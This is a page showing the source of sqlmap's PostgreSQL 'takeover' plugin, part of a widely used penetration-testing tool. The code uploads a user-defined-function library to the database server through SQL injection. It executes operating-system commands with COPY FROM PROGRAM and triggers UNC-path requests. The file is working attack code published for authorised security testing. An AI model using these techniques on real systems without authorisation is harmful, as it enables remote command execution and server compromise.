Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/dbms/postgresql/takeover.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import os
9
10
from lib.core.common import Backend
11
from lib.core.common import checkFile
12
from lib.core.common import decloakToTemp
13
from lib.core.common import flattenValue
14
from lib.core.common import filterNone
15
from lib.core.common import isListLike
16
from lib.core.common import isNoneValue
17
from lib.core.common import isStackingAvailable
18
from lib.core.common import randomStr
19
from lib.core.compat import LooseVersion
20
from lib.core.data import kb
21
from lib.core.data import logger
22
from lib.core.data import paths
23
from lib.core.enums import OS
24
from lib.core.exception import SqlmapSystemException
25
from lib.core.exception import SqlmapUnsupportedFeatureException
26
from lib.request import inject
27
from plugins.generic.takeover import Takeover as GenericTakeover
28
29
class Takeover(GenericTakeover):
30
def udfSetRemotePath(self):
31
# On Windows
32
if Backend.isOs(OS.WINDOWS):
33
# The DLL can be in any folder where postgres user has
34
# read/write/execute access is valid
35
# NOTE: by not specifing any path, it will save into the
36
# data directory, on PostgreSQL 8.3 it is
37
# C:\Program Files\PostgreSQL\8.3\data.
38
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
39
40
# On Linux
41
else:
42
# The SO can be in any folder where postgres user has
43
# read/write/execute access is valid
44
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
45
46
def udfSetLocalPaths(self):
47
self.udfLocalFile = paths.SQLMAP_UDF_PATH
48
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
49
50
self.getVersionFromBanner()
51
52
banVer = kb.bannerFp["dbmsVersion"]
53
54
if not banVer or not banVer[0].isdigit():
55
errMsg = "unsupported feature on unknown version of PostgreSQL"
56
raise SqlmapUnsupportedFeatureException(errMsg)
57
elif LooseVersion(banVer) >= LooseVersion("10"):
58
majorVer = banVer.split('.')[0]
59
elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer:
60
majorVer = '.'.join(banVer.split('.')[:2])
61
else:
62
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
63
raise SqlmapUnsupportedFeatureException(errMsg)
64
65
try:
66
if Backend.isOs(OS.WINDOWS):
67
_ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_")
68
checkFile(_)
69
self.udfLocalFile = decloakToTemp(_)
70
self.udfSharedLibExt = "dll"
71
else:
72
_ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_")
73
checkFile(_)
74
self.udfLocalFile = decloakToTemp(_)
75
self.udfSharedLibExt = "so"
76
except SqlmapSystemException:
77
errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch())
78
raise SqlmapUnsupportedFeatureException(errMsg)
79
80
def udfCreateFromSharedLib(self, udf, inpRet):
81
if udf in self.udfToCreate:
82
logger.info("creating UDF '%s' from the binary UDF file" % udf)
83
84
inp = ", ".join(i for i in inpRet["input"])
85
ret = inpRet["return"]
86
87
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
88
inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp))
89
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
90
91
self.createdUdf.add(udf)
92
else:
93
logger.debug("keeping existing UDF '%s' as requested" % udf)
94
95
def uncPathRequest(self):
96
self.createSupportTbl(self.fileTblName, self.tblField, "text")
97
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
98
self.cleanup(onlyFileTbl=True)
99
100
def copyExecCmd(self, cmd):
101
output = None
102
103
if isStackingAvailable():
104
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
105
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
106
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
107
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
108
inject.goStacked(self._forgedCmd)
109
110
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
111
output = inject.getValue(query, resumeValue=False)
112
113
if isListLike(output):
114
output = flattenValue(output)
115
output = filterNone(output)
116
117
if not isNoneValue(output):
118
output = os.linesep.join(output)
119
120
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
121
inject.goStacked(self._cleanupCmd)
122
123
return output
124
125
def checkCopyExec(self):
126
if kb.copyExecTest is None:
127
kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
128
129
return kb.copyExecTest
130
131